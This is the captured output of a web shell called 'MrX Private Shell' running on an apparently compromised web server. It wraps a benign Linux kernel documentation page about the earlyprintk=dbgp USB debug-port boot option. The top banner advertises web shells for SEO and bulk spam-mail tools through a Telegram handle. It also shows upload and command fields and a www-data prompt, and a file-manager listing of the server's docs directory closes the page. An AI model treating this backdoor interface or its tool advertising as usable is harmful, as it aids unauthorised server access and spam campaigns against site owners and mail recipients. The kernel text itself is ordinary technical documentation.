__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.146: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>8. Early Printk &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="9. ORC unwinder" href="orc-unwinder.html" />
    <link rel="prev" title="7. Kernel Entries" href="entry_64.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="../index.html">CPU architectures</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../arc/index.html">ARC architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../arm/index.html">ARM Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../arm64/index.html">ARM64 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../loongarch/index.html">LoongArch Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../m68k/index.html">m68k Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../mips/index.html">MIPS-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../nios2/index.html">Nios II Specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../openrisc/index.html">OpenRISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../parisc/index.html">PA-RISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../powerpc/index.html">powerpc</a></li>
<li class="toctree-l2"><a class="reference internal" href="../riscv/index.html">RISC-V architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../s390/index.html">s390 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sh/index.html">SuperH Interfaces Guide</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sparc/index.html">Sparc Architecture</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="index.html">x86-specific Documentation</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="boot.html">1. The Linux/x86 Boot Protocol</a></li>
<li class="toctree-l3"><a class="reference internal" href="booting-dt.html">2. DeviceTree Booting</a></li>
<li class="toctree-l3"><a class="reference internal" href="cpuinfo.html">3. x86 Feature Flags</a></li>
<li class="toctree-l3"><a class="reference internal" href="topology.html">4. x86 Topology</a></li>
<li class="toctree-l3"><a class="reference internal" href="exception-tables.html">5. Kernel level exception handling</a></li>
<li class="toctree-l3"><a class="reference internal" href="kernel-stacks.html">6. Kernel Stacks</a></li>
<li class="toctree-l3"><a class="reference internal" href="entry_64.html">7. Kernel Entries</a></li>
<li class="toctree-l3 current"><a class="current reference internal" href="#">8. Early Printk</a></li>
<li class="toctree-l3"><a class="reference internal" href="orc-unwinder.html">9. ORC unwinder</a></li>
<li class="toctree-l3"><a class="reference internal" href="zero-page.html">10. Zero Page</a></li>
<li class="toctree-l3"><a class="reference internal" href="tlb.html">11. The TLB</a></li>
<li class="toctree-l3"><a class="reference internal" href="mtrr.html">12. MTRR (Memory Type Range Register) control</a></li>
<li class="toctree-l3"><a class="reference internal" href="pat.html">13. PAT (Page Attribute Table)</a></li>
<li class="toctree-l3"><a class="reference internal" href="intel-hfi.html">14. Hardware-Feedback Interface for scheduling on Intel Hardware</a></li>
<li class="toctree-l3"><a class="reference internal" href="shstk.html">15. Control-flow Enforcement Technology (CET) Shadow Stack</a></li>
<li class="toctree-l3"><a class="reference internal" href="iommu.html">16. x86 IOMMU Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="intel_txt.html">17. Intel(R) TXT Overview</a></li>
<li class="toctree-l3"><a class="reference internal" href="amd-debugging.html">18. Debugging AMD Zen systems</a></li>
<li class="toctree-l3"><a class="reference internal" href="amd-memory-encryption.html">19. AMD Memory Encryption</a></li>
<li class="toctree-l3"><a class="reference internal" href="amd_hsmp.html">20. AMD HSMP interface</a></li>
<li class="toctree-l3"><a class="reference internal" href="amd-hfi.html">21. Hardware Feedback Interface For Hetero Core Scheduling On AMD Platform</a></li>
<li class="toctree-l3"><a class="reference internal" href="tdx.html">22. Intel Trust Domain Extensions (TDX)</a></li>
<li class="toctree-l3"><a class="reference internal" href="pti.html">23. Page Table Isolation (PTI)</a></li>
<li class="toctree-l3"><a class="reference internal" href="mds.html">24. Microarchitectural Data Sampling (MDS) mitigation</a></li>
<li class="toctree-l3"><a class="reference internal" href="microcode.html">25. The Linux Microcode Loader</a></li>
<li class="toctree-l3"><a class="reference internal" href="tsx_async_abort.html">26. TSX Async Abort (TAA) mitigation</a></li>
<li class="toctree-l3"><a class="reference internal" href="buslock.html">27. Bus lock detection and handling</a></li>
<li class="toctree-l3"><a class="reference internal" href="usb-legacy-support.html">28. USB Legacy support</a></li>
<li class="toctree-l3"><a class="reference internal" href="i386/index.html">29. i386 Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="x86_64/index.html">30. x86_64 Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="ifs.html">31. In-Field Scan</a></li>
<li class="toctree-l3"><a class="reference internal" href="sva.html">32. Shared Virtual Addressing (SVA) with ENQCMD</a></li>
<li class="toctree-l3"><a class="reference internal" href="sgx.html">33. Software Guard eXtensions (SGX)</a></li>
<li class="toctree-l3"><a class="reference internal" href="features.html">34. Feature status on x86 architecture</a></li>
<li class="toctree-l3"><a class="reference internal" href="elf_auxvec.html">35. x86-specific ELF Auxiliary Vectors</a></li>
<li class="toctree-l3"><a class="reference internal" href="xstate.html">36. Using XSTATE features in user space applications</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../xtensa/index.html">Xtensa Architecture</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/arch/x86/earlyprintk.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="early-printk">
<h1><span class="section-number">8. </span>Early Printk<a class="headerlink" href="#early-printk" title="Link to this heading">¶</a></h1>
<p>Mini-HOWTO for using the earlyprintk=dbgp boot option with a
USB2 Debug port key and a debug cable, on x86 systems.</p>
<p>You need two computers, the ‘USB debug key’ special gadget and
two USB cables, connected like this:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>[host/target] &lt;-------&gt; [USB debug key] &lt;-------&gt; [client/console]
</pre></div>
</div>
<section id="hardware-requirements">
<h2><span class="section-number">8.1. </span>Hardware requirements<a class="headerlink" href="#hardware-requirements" title="Link to this heading">¶</a></h2>
<blockquote>
<div><ol class="loweralpha">
<li><p>Host/target system needs to have USB debug port capability.</p>
<p>You can check this capability by looking at a ‘Debug port’ bit in
the lspci -vvv output:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span># lspci -vvv
...
00:1d.7 USB Controller: Intel Corporation 82801H (ICH8 Family) USB2 EHCI Controller #1 (rev 03) (prog-if 20 [EHCI])
        Subsystem: Lenovo ThinkPad T61
        Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B- DisINTx-
        Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium &gt;TAbort- &lt;TAbort- &lt;MAbort- &gt;SERR- &lt;PERR- INTx-
        Latency: 0
        Interrupt: pin D routed to IRQ 19
        Region 0: Memory at fe227000 (32-bit, non-prefetchable) [size=1K]
        Capabilities: [50] Power Management version 2
                Flags: PMEClk- DSI- D1- D2- AuxCurrent=375mA PME(D0+,D1-,D2-,D3hot+,D3cold+)
                Status: D0 PME-Enable- DSel=0 DScale=0 PME+
        Capabilities: [58] Debug port: BAR=1 offset=00a0
                     ^^^^^^^^^^^ &lt;==================== [ HERE ]
        Kernel driver in use: ehci_hcd
        Kernel modules: ehci-hcd
...
</pre></div>
</div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>If your system does not list a debug port capability then you probably
won’t be able to use the USB debug key.</p>
</div>
</li>
<li><p>You also need a NetChip USB debug cable/key:</p>
<blockquote>
<div><p><a class="reference external" href="http://www.plxtech.com/products/NET2000/NET20DC/default.asp">http://www.plxtech.com/products/NET2000/NET20DC/default.asp</a></p>
</div></blockquote>
<p>This is a small blue plastic connector with two USB connections;
it draws power from its USB connections.</p>
</li>
<li><p>You need a second client/console system with a high speed USB 2.0 port.</p></li>
<li><p>The NetChip device must be plugged directly into the physical
debug port on the “host/target” system. You cannot use a USB hub in
between the physical debug port and the “host/target” system.</p>
<p>The EHCI debug controller is bound to a specific physical USB
port and the NetChip device will only work as an early printk
device in this port.  The EHCI host controllers are electrically
wired such that the EHCI debug controller is hooked up to the
first physical port and there is no way to change this via software.
You can find the physical port through experimentation by trying
each physical port on the system and rebooting.  Or you can try
and use lsusb or look at the kernel info messages emitted by the
usb stack when you plug a usb device into various ports on the
“host/target” system.</p>
<p>Some hardware vendors do not expose the usb debug port with a
physical connector and if you find such a device send a complaint
to the hardware vendor, because there is no reason not to wire
this port into one of the physically accessible ports.</p>
</li>
<li><p>It is also important to note, that many versions of the NetChip
device require the “client/console” system to be plugged into the
right hand side of the device (with the product logo facing up and
readable left to right).  The reason being is that the 5 volt
power supply is taken from only one side of the device and it
must be the side that does not get rebooted.</p></li>
</ol>
</div></blockquote>
</section>
<section id="software-requirements">
<h2><span class="section-number">8.2. </span>Software requirements<a class="headerlink" href="#software-requirements" title="Link to this heading">¶</a></h2>
<blockquote>
<div><ol class="loweralpha simple">
<li><p>On the host/target system:</p></li>
</ol>
<blockquote>
<div><p>You need to enable the following kernel config option:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>CONFIG_EARLY_PRINTK_DBGP=y
</pre></div>
</div>
<p>And you need to add the boot command line: “earlyprintk=dbgp”.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>If you are using Grub, append it to the ‘kernel’ line in
/etc/grub.conf.  If you are using Grub2 on a BIOS firmware system,
append it to the ‘linux’ line in /boot/grub2/grub.cfg. If you are
using Grub2 on an EFI firmware system, append it to the ‘linux’
or ‘linuxefi’ line in /boot/grub2/grub.cfg or
/boot/efi/EFI/&lt;distro&gt;/grub.cfg.</p>
</div>
<p>On systems with more than one EHCI debug controller you must
specify the correct EHCI debug controller number.  The ordering
comes from the PCI bus enumeration of the EHCI controllers.  The
default with no number argument is “0” or the first EHCI debug
controller.  To use the second EHCI debug controller, you would
use the command line: “earlyprintk=dbgp1”</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>normally earlyprintk console gets turned off once the
regular console is alive - use “earlyprintk=dbgp,keep” to keep
this channel open beyond early bootup. This can be useful for
debugging crashes under Xorg, etc.</p>
</div>
</div></blockquote>
<ol class="loweralpha simple" start="2">
<li><p>On the client/console system:</p></li>
</ol>
<blockquote>
<div><p>You should enable the following kernel config option:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>CONFIG_USB_SERIAL_DEBUG=y
</pre></div>
</div>
<p>On the next bootup with the modified kernel you should
get a /dev/ttyUSBx device(s).</p>
<p>Now this channel of kernel messages is ready to be used: start
your favorite terminal emulator (minicom, etc.) and set
it up to use /dev/ttyUSB0 - or use a raw ‘cat /dev/ttyUSBx’ to
see the raw output.</p>
</div></blockquote>
<ol class="loweralpha simple" start="3">
<li><p>On Nvidia Southbridge based systems: the kernel will try to probe
and find out which port has a debug device connected.</p></li>
</ol>
</div></blockquote>
</section>
<section id="testing">
<h2><span class="section-number">8.3. </span>Testing<a class="headerlink" href="#testing" title="Link to this heading">¶</a></h2>
<p>You can test the output by using earlyprintk=dbgp,keep and provoking
kernel messages on the host/target system. You can provoke a harmless
kernel message by for example doing:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>echo h &gt; /proc/sysrq-trigger
</pre></div>
</div>
<p>On the host/target system you should see this help line in “dmesg” output:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>SysRq : HELP : loglevel(0-9) reBoot Crashdump terminate-all-tasks(E) memory-full-oom-kill(F) kill-all-tasks(I) saK show-backtrace-all-active-cpus(L) show-memory-usage(M) nice-all-RT-tasks(N) powerOff show-registers(P) show-all-timers(Q) unRaw Sync show-task-states(T) Unmount show-blocked-tasks(W) dump-ftrace-buffer(Z)
</pre></div>
</div>
<p>On the client/console system do:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>cat /dev/ttyUSB0
</pre></div>
</div>
<p>And you should see the help line above displayed shortly after you’ve
provoked it on the host system.</p>
<p>If it does not work then please ask about it on the <a class="reference external" href="mailto:linux-kernel&#37;&#52;&#48;vger&#46;kernel&#46;org">linux-kernel<span>&#64;</span>vger<span>&#46;</span>kernel<span>&#46;</span>org</a>
mailing list or contact the x86 maintainers.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/arch/x86/earlyprintk.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
i386 Folder 0755
x86_64 Folder 0755
amd-debugging.html File 37.71 KB 0644
amd-hfi.html File 23.59 KB 0644
amd-memory-encryption.html File 26.71 KB 0644
amd_hsmp.html File 22.25 KB 0644
boot.html File 90.24 KB 0644
booting-dt.html File 13.53 KB 0644
buslock.html File 19.47 KB 0644
cpuinfo.html File 25.13 KB 0644
earlyprintk.html File 20.49 KB 0644
elf_auxvec.html File 14.44 KB 0644
entry_64.html File 17.44 KB 0644
exception-tables.html File 32.18 KB 0644
features.html File 21.74 KB 0644
ifs.html File 23.92 KB 0644
index.html File 37.18 KB 0644
intel-hfi.html File 17.6 KB 0644
intel_txt.html File 24.6 KB 0644
iommu.html File 20.98 KB 0644
kernel-stacks.html File 20.27 KB 0644
mds.html File 23.86 KB 0644
microcode.html File 23.17 KB 0644
mtrr.html File 27.58 KB 0644
orc-unwinder.html File 23.04 KB 0644
pat.html File 27.75 KB 0644
pti.html File 24.03 KB 0644
sgx.html File 52.06 KB 0644
shstk.html File 22.05 KB 0644
sva.html File 28.77 KB 0644
tdx.html File 37.07 KB 0644
tlb.html File 17.19 KB 0644
topology.html File 32.47 KB 0644
tsx_async_abort.html File 21.14 KB 0644
usb-legacy-support.html File 14.32 KB 0644
xstate.html File 20.64 KB 0644
zero-page.html File 18.08 KB 0644
Filemanager